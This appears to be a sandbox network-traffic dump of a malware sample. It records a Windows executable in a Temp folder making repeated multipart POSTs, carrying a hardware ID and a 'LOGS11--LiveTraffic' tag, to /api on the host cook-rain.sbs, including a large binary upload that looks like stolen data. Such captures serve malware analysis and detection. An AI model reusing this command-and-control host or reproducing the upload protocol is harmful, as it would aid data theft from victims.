2024-11-18 18:04:32 UTC	1004	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2l71i45eipf8q43epdvja7vsgg; expires=Fri, 14-Mar-2025 11:51:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bSDhrS6yg3SpJTjF1vx2p8BuUYH0oF9Ke6Mee15eRirANwLPjqGcntSArQEaLBulVc%2F2OTW0C47Q9%2FBHwuXQrbjZ5Z8RVm4zXij8R5Ta7MybVmKTl2jinGMFMWn8FypQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e229d988e64e-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=22626&sent=13&recv=17&lost=0&retrans=0&sent_bytes=2828&recv_bytes=13764&delivery_rate=127988&cwnd=32&unsent_bytes=0&cid=efe9eb0e44399163&ts=866&x=0"
2024-11-18 18:04:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:04:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49986	188.114.96.3	443	8020	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:33 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z2NRM3L568 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15035 Host: cook-rain.sbs
2024-11-18 18:04:33 UTC	15035	OUT	Data Raw: 2d 2d 5a 32 4e 52 4d 33 4c 35 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 5a 32 4e 52 4d 33 4c 35 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 32 4e 52 4d 33 4c 35 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 5a 32 4e 52 4d 33 4c 35 36 38 0d 0a 43 6f Data Ascii: --Z2NRM3L568Content-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--Z2NRM3L568Content-Disposition: form-data; name="pid"2--Z2NRM3L568Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--Z2NRM3L568Co
2024-11-18 18:04:33 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=82llavm0gslihg6r5virnnfdhr; expires=Fri, 14-Mar-2025 11:51:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BfUG%2BN0S6QyoW8Wu5ghHXAVVtflqbb%2BGMVpKmoFSJs4c2k37Vl%2B0vYdTqOT0kje1ZEMVKtkv%2B%2BpmibmDY9piBmfNq%2FCNOAJRlyn5loy2sbLOpgBZTQhNBczYXodBIKAv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e233fdd74bc9-BUF alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=33027&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2829&recv_bytes=15964&delivery_rate=87606&cwnd=32&unsent_bytes=0&cid=c9fe9a053dfbcfbb&ts=666&x=0"
2024-11-18 18:04:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:04:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49987	188.114.96.3	443	8020	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:35 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E3EBPXESZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20519 Host: cook-rain.sbs
2024-11-18 18:04:35 UTC	15331	OUT	Data Raw: 2d 2d 45 33 45 42 50 58 45 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 45 33 45 42 50 58 45 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 33 45 42 50 58 45 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 33 45 42 50 58 45 53 5a 0d 0a 43 6f 6e 74 65 6e Data Ascii: --E3EBPXESZContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--E3EBPXESZContent-Disposition: form-data; name="pid"3--E3EBPXESZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--E3EBPXESZConten
2024-11-18 18:04:35 UTC	5188	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-11-18 18:04:36 UTC	1006	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o88311vtgnblhhe1gr5da44usq; expires=Fri, 14-Mar-2025 11:51:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9XFDp73ut5mtSstJ%2BHxTWYvwabtb0D5%2FX5wIy1QtiD9VO4KN1mSCVEYErigCAUY14RViIn6zECK63e0cHWMw%2FbjEyEjZZXV9IvPckTBiz9h7RsMWUmnWKHGbvvpQxTT5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e24109781f3a-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=22558&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21469&delivery_rate=127723&cwnd=32&unsent_bytes=0&cid=c23984a6c25f086b&ts=773&x=0"
2024-11-18 18:04:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:04:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49990	188.114.96.3	443	8020	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:38 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9KX4E62DSX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1219 Host: cook-rain.sbs
2024-11-18 18:04:38 UTC	1219	OUT	Data Raw: 2d 2d 39 4b 58 34 45 36 32 44 53 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 39 4b 58 34 45 36 32 44 53 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 4b 58 34 45 36 32 44 53 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 4b 58 34 45 36 32 44 53 58 0d 0a 43 6f Data Ascii: --9KX4E62DSXContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--9KX4E62DSXContent-Disposition: form-data; name="pid"1--9KX4E62DSXContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--9KX4E62DSXCo
2024-11-18 18:04:38 UTC	1005	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g3doa6mcb4dgs47ht8ldjo06n7; expires=Fri, 14-Mar-2025 11:51:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HuYInZI4T%2FidGXkKhzs0IiDyyQGRnOKEi%2B0cl7xWYsfLGQwMoRgC61wBhJXVEVf70orya4b8Ot%2BeNeEZzJxvD1Orzaz8FsXls2u%2FyvTx8PRAD071kJP32FGvG674DIvi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e2522ddabf6b-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19725&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2125&delivery_rate=146900&cwnd=32&unsent_bytes=0&cid=e5cb3c411a2502aa&ts=607&x=0"
2024-11-18 18:04:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:04:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49992	188.114.96.3	443	8020	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:39 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YQSC7SVRP2BGY0ZGQX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 563695 Host: cook-rain.sbs
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: 2d 2d 59 51 53 43 37 53 56 52 50 32 42 47 59 30 5a 47 51 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 59 51 53 43 37 53 56 52 50 32 42 47 59 30 5a 47 51 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 51 53 43 37 53 56 52 50 32 42 47 59 30 5a 47 51 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --YQSC7SVRP2BGY0ZGQXContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--YQSC7SVRP2BGY0ZGQXContent-Disposition: form-data; name="pid"1--YQSC7SVRP2BGY0ZGQXContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: 2e b9 e7 75 5a 21 13 23 51 d8 9b fa 19 f3 43 ae 43 9b 2f 4f 8c 5a 86 ae 14 00 a2 b5 0b f7 f2 01 65 6a f9 98 46 79 d1 bc c3 17 24 66 5f af f5 ef 77 c0 00 95 f9 da de 82 a5 7a 05 c6 48 39 4b 69 70 24 2c a5 1c 40 00 b1 13 c4 d8 43 29 12 40 69 02 ca 6a 84 33 4f b8 32 5c 85 41 bb 2a 16 e6 e3 60 d9 b6 e8 f0 4c b1 f5 7d 1c 8f 1d e0 b1 ef bc 2d 1a 84 57 74 74 77 63 fb 4c f9 ad fe ff 07 d1 a9 07 00 ad b8 03 cc f1 81 04 53 4a 3e 0b 30 fb f8 60 7e aa d2 a5 cc 88 c8 32 cb c5 de cc 72 7e 88 fb 0f d1 f8 b1 39 83 4b 34 b2 ef b4 81 18 87 64 10 6f e1 90 9a e9 e4 c1 07 9a 15 57 03 4d d1 71 3b 9e 39 95 41 0a 6a 30 65 07 af 44 93 ea bf f5 21 3d 22 f1 13 82 5b bb 65 68 ce 1c 28 76 a4 26 f9 f9 f2 a4 1a 77 4a 2b 89 52 6d 21 4f 1e 82 e5 7a 4b 80 8d 1b 77 ba a4 14 53 74 0e 33 6f Data Ascii: .uZ!#QCC/OZejFy$f_wzH9Kip$,@C)@ij3O2\A*`L}-WttwcLSJ>0`~2r~9K4doWMq;9Aj0eD!="[eh(v&wJ+Rm!OzKwSt3o
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: a4 56 8f d4 58 b2 b0 d2 54 be 11 09 b0 7e f5 a0 f1 c5 b9 33 aa d3 64 0f ff bb a3 7b c4 a8 48 07 6d 7a fb cf b1 bf 72 c7 d6 8b da 4d 80 b1 3a ff 25 34 b9 77 0a 14 13 52 ee 32 c9 a2 36 13 db 31 3d 2e 8d e1 01 a7 32 22 1e 88 ea 0d d7 ba 46 f2 94 30 b0 da 26 75 da 52 4d c4 51 95 ff 6d 52 8d d5 17 cb 67 21 b4 6d 68 5e 6c 6a cd cd 17 9a fe 7d 24 50 1d 09 aa 8c 1a 5d 3f e2 32 e8 6a 6c 26 92 9b ca 08 bf 34 4f 5e 72 b1 80 83 4e 93 f1 3e 89 8b d6 2a d5 89 3b 19 a1 44 d3 67 16 71 47 d0 04 14 3b ad 78 e5 ab c2 7a 9d a4 bb 0a c3 70 52 a9 31 78 1a d5 58 5e 81 78 de e4 7c 13 2f 81 3d 6a c5 89 35 fa 3b 08 2c da 67 33 82 17 5f 7e 39 56 fa db bd b0 ce f2 ec 15 1e 2d f3 cf 9c 6c 86 06 1f 46 92 73 26 81 b7 27 ad bd 5d 11 a1 73 7e 0b fd fd 61 33 73 67 63 b3 e6 df 6b 21 e1 dd Data Ascii: VXT~3d{HmzrM:%4wR261=.2"F0&uRMQmRg!mh^lj}$P]?2jl&4O^rN>*;DgqG;xzpR1xX^x\|/=j5;,g3_~9V-lFs&']s~a3sgck!
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: e8 6b 2d 8c b9 6a b7 66 ab 0b 9d f0 b7 c2 c4 fb e0 8d 5a a2 3c 03 d9 41 c4 1c 73 4b 18 be 73 b3 f4 04 21 58 71 30 2c b6 57 a4 40 7b 44 1a 4c dc 35 0d cf 4e 4d 79 89 9d 19 1c 2f 1d d4 97 8f 09 77 b4 39 54 a1 77 0d 53 0e b4 6b da 0f 47 4a ac 3b 4d 79 31 b4 60 85 ea 4d c6 28 8a e7 26 7a 84 2c 09 96 9d d4 51 0d ba 5e 40 e8 82 88 5b 74 dd d2 53 95 d4 ef 6e 43 2c 9b a9 fc c5 94 bf f5 19 52 6d ba 6f e4 c1 e0 a5 91 42 f2 f9 65 c1 62 43 c6 f0 b7 b2 83 84 da f6 3b df 87 91 0e f9 2b a0 3e ec aa c7 af 21 85 4f c3 99 d5 40 3b 5c 3d 7b 17 9a d6 6a 5d 32 cf d9 74 fa 28 49 03 38 b6 ab a4 c4 63 d2 e3 51 b9 a3 f8 c6 6f 75 35 ef 1d 39 4e 8f 3a 8f 35 95 3e 10 2a 0c 19 f1 cd 94 b8 12 4b b5 a5 c3 6f 5d 1a 2f 57 20 fb 1c 35 1d d5 49 75 ef f8 46 a1 5d 15 f6 48 fe 32 ef d5 d1 b2 Data Ascii: k-jfZ<AsKs!Xq0,W@{DL5NMy/w9TwSkGJ;My1`M(&z,Q^@[tSnC,RmoBebC;+>!O@;\={j]2t(I8cQou59N:5>*Ko]/W 5IuF]H2
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: 08 7d f1 b5 9f 3a 7c 68 5f a6 66 6e f6 e3 c4 20 6b 4a d6 9d 8e fa ad c2 1d b4 bc 21 6a 27 67 5c 00 37 3b 57 aa 55 d2 b6 89 d2 4f 40 6b a9 d4 dd 60 2b 45 61 d3 a3 64 50 93 61 bf e2 e5 c9 7c db 77 86 49 c6 e3 ed 38 d1 a9 78 d5 a8 1d 7d e2 83 da eb ed 32 44 7b ae c9 51 0a fb b8 ad 27 b5 af 25 70 92 e6 f3 e5 18 de 77 65 57 97 0a 08 3a a2 9c d6 f1 a4 c1 ac 1c e5 a3 8c 86 b0 0a e4 41 58 e1 0a 80 96 b0 87 58 a2 e0 07 6f db 0f e1 16 62 b0 1b 76 5d 9a 83 ac b1 10 41 8f 44 06 41 d7 dd 55 1a f9 20 0b 60 af 42 39 f4 fb 6d 29 cb 71 ca c3 b3 8a 0f 66 51 ca 2e c3 ec 3c 68 65 af 10 73 97 27 30 c5 5e 1b c1 32 e7 fa ef ee de eb d9 99 2b 5e 79 75 37 26 dd ad 8e 39 9e 23 3a e5 9c 10 2f 16 ec 80 97 91 ed fb 96 04 1f df 8c dd d1 2c b9 e8 a4 47 90 c0 5c 88 75 ec 5b 65 04 fa eb Data Ascii: }:\|h_fn kJ!j'g\7;WUO@k`+EadPa\|wI8x}2D{Q'%pweW:AXXobv]ADAU `B9m)qfQ.<hes'0^2+^yu7&9#:/,G\u[e
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: 0e 43 c5 51 de 5d 52 2b a9 af de 6c a0 ee 96 48 45 e6 1d 86 79 12 f8 06 8d e6 9f 12 36 dc 0d 47 5a 10 1b cf dd 52 c5 b0 4c f8 ec be d5 32 3a 82 70 85 92 58 04 02 70 f9 21 00 fa 37 c2 dd c3 ae a3 fc 7b 27 98 cd 13 95 65 4f 13 50 e8 d7 1b 4f 11 9f c1 01 9e 11 a0 c9 60 96 c1 ec a1 b9 c7 0e 91 61 36 10 ed 79 79 02 4b f4 27 dc 04 8b 11 8f f6 1e 05 2c 77 9b d0 11 41 10 a8 b7 7e 5f c6 53 be 58 87 00 09 c0 bb 60 0b 84 f5 62 88 b9 23 c5 d2 c2 ad f4 9c 07 e1 4f d7 fd c2 06 05 7d 0f 2f db ce 57 f6 ec 72 93 f8 9b f5 c4 eb ec 58 2b ba d5 0c 7f ff bd 65 1f f0 8e e2 9f c8 51 2b 74 12 01 6e 4a 76 83 60 83 1c 15 20 27 ce 3e ab c8 f8 22 fe 05 f2 8e d2 28 28 93 82 a6 3b 97 64 63 19 3d 25 38 d9 dc 33 88 e1 31 51 6a df fe ee 9d 60 72 44 09 c7 38 2d 21 f1 a7 34 f9 9d 28 f5 04 Data Ascii: CQ]R+lHEy6GZRL2:pXp!7{'eOPO`a6yyK',wA~_SX`b#O}/WrX+eQ+tnJv` '>"((;dc=%831Qj`rD8-!4(
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: 32 92 36 0f 13 1e cb 27 c0 77 94 4e 65 db 19 5b e9 ae 46 c1 9d f9 3f 87 db 4b af 57 dc 0d 6f 26 bb 2e bc 9c b2 7f 7d f8 0b f6 67 f1 d2 95 e7 82 0c 36 e7 7d 4e f9 35 aa 88 80 f0 7e e6 da 4b 42 74 cf d9 44 29 d7 b9 b7 4e fb da c3 8b 77 5a d3 57 6f b6 1d c2 5c 76 44 ba b8 cb 89 98 17 2b af 4b f0 71 8c da 5b 78 db 54 b3 ce e7 67 1b 5f ac 2c 5d 2b ae ba ef a2 13 59 75 75 5f d5 6a b7 e3 f7 dd 24 16 cd 69 1c 16 bc 0f d5 3c 09 78 ad f3 fc ad 0f ab 87 ca 74 94 2a b5 fb d2 42 f9 71 77 8b 2c 45 f5 3f a4 cf 83 fe fd ee 96 cc b0 9f af ac 23 57 9d 9e 77 0e e7 48 44 ae be b8 ed 25 08 13 5a 77 66 4e 9e fe e2 60 da ff bd 74 34 d5 5e f2 93 d9 f7 83 19 d9 c3 71 cc d9 2b 91 a6 8c 18 d9 8d af 42 2d c7 17 a2 1b 8a d6 1a de ae 37 ac df 9b 38 e1 f4 4e 38 e4 a9 0d cc b7 dc 1d 83 Data Ascii: 26'wNe[F?KWo&.}g6}N5~KBtD)NwZWo\vD+Kq[xTg_,]+Yuu_j$i<xt*Bqw,E?#WwHD%ZwfN`t4^q+B-78N8
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: 95 db 19 0b 0d b5 7a db fd b0 f6 43 d8 3a 91 83 e3 05 b2 02 b4 ce 62 5b c4 3f 86 4b 80 fd 7a ef d1 46 e5 49 f8 60 13 46 03 3a f5 c6 5d 00 76 f5 12 ae a0 11 41 1e 96 5b 68 ae 09 a3 2b bc d4 70 74 8d a9 3a e8 e8 d9 a8 2e f8 ec b3 3c e1 08 47 0c 7d 3e 5b a4 f1 0e 1c 2b 6b b2 36 5a dd a1 2a 4f c6 76 f0 43 4e 1c 68 6a 2c dd c5 19 58 b5 59 4e 17 06 12 43 b0 df 0e 4a 7b 71 7e 61 d3 13 70 c9 db b0 b5 01 a6 e6 51 5c 11 dd a6 80 26 cb 4a 10 c4 96 a7 f5 05 f3 9d 9b ca 8d c5 d7 22 e6 e7 78 cc 19 11 c9 5b 38 60 26 66 96 d9 5d 43 15 7f 54 77 6e ce c3 b3 01 6b 8a 1b 57 84 f2 34 d0 e3 31 29 7c b3 15 47 14 e5 2f b8 44 6c 9c 53 26 0a fc 18 38 8d 6d ab b7 f6 82 1d b9 7b 23 c9 da 26 5f 7e 5c 51 d0 58 7c ee 09 25 df 22 4c 02 0c 5a 69 7d 70 0c 54 e3 6b 0f c3 58 0d 3b 28 90 83 Data Ascii: zC:b[?KzFI`F:]vA[h+pt:.<G}>[+k6Z*OvCNhj,XYNCJ{q~apQ\&J"x[8`&f]CTwnkW41)\|G/DlS&8m{#&_~\QX\|%"LZi}pTkX;(
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: 60 9d bc 5c 3f 39 8c 6f 21 8b 32 90 6d e6 59 ba 12 c2 55 2f dd 91 14 78 0d cb c6 b3 81 d7 68 a2 be 86 88 c7 3c c6 b9 ef 01 d8 85 06 71 20 34 1b 31 9e f8 37 94 c7 f3 81 8f 29 1d e1 58 d3 a5 5c c8 35 86 5a 25 4a dd 25 58 54 c7 c3 b8 e5 93 4d f8 18 be 7c 1c d5 7d 7d fa ae e9 70 62 10 92 a7 d1 9c 75 f3 9a 4c 4b 54 61 42 10 e2 24 63 cc 93 59 74 36 a1 2d 80 b4 f1 2b 2f ad 4b 73 17 a1 f1 b7 65 e9 a7 a1 a8 45 b5 d7 1c 31 ce be a5 38 b9 f4 79 1a 22 3e 6b c4 32 cf cb 23 6f d4 bc 06 85 c3 2d 78 f6 2a 35 e6 75 70 bb 25 89 04 42 08 07 82 9d 97 24 66 a2 32 df 32 7b a0 a2 17 0d ea 88 53 fd 19 a7 05 16 f6 89 ab 8b c7 fc 44 e2 06 65 e5 87 a2 56 fb 0f 78 be c3 9a 2a 10 95 5c 23 e3 23 df f1 0d 57 80 f4 25 db 34 49 a1 96 a2 97 ed 5b 3c 80 1d cc 37 e8 14 9b 0c 6f 6d 12 a5 92 Data Ascii: `\?9o!2mYU/xh<q 417)X\5Z%J%XTM\|}}pbuLKTaB$cYt6-+/KseE18y">k2#o-x5up%B$f22{SDeVx\##W%4I[<7om
2024-11-18 18:04:39 UTC	15331	OUT	Data Raw: 6e 10 32 95 72 7d fb b1 91 fe 0a c2 58 58 fa a3 b5 fb e4 77 13 a9 c7 a4 37 ed 7f 80 cb a5 40 b8 ba ec 6f 2b c7 ba 73 5a 04 ff 0b 48 8a 8f 42 0e 85 fd 3c 64 3c ff d3 5f 33 16 be 77 98 c0 30 00 74 3f 55 86 13 92 2c 04 79 19 7e de ee 12 13 7e a2 c6 9b 71 0d 03 4b ff 0d ae 3e 89 41 63 eb ee 77 31 1c f5 82 85 80 cb be 58 2d d4 5b 42 69 57 bc 24 d1 08 b1 65 73 e6 75 ee e5 9c 56 48 13 49 7d a5 18 ad e1 43 58 d6 e0 6f 36 20 2d 68 ae 8e 50 24 30 34 40 6c ef 2c a9 1a 32 14 c3 77 6f ff 77 df fa 72 d3 ca ec 36 9e 1a 18 35 a1 3f 34 58 c1 b1 b7 d3 e9 27 01 71 7f ec c2 95 61 fc c6 12 df 5a 05 03 7e 4a 8a 25 78 03 04 ea df 3d 67 40 e7 2e fc fe f0 9f 72 b2 8f eb 56 35 c9 08 b2 11 b2 7c 14 f9 bb 9f 24 1d eb 44 2c 00 c4 dd c2 23 ee a2 4b 78 9e 92 e1 32 17 b7 e1 6f a5 e9 a4 Data Ascii: n2r}XXw7@o+sZHB<d<_3w0t?U,y~~qK>Acw1X-[BiW$esuVHI}CXo6 -hP$04@l,2wowr65?4X'qaZ~J%x=g@.rV5\|$D,#Kx2o
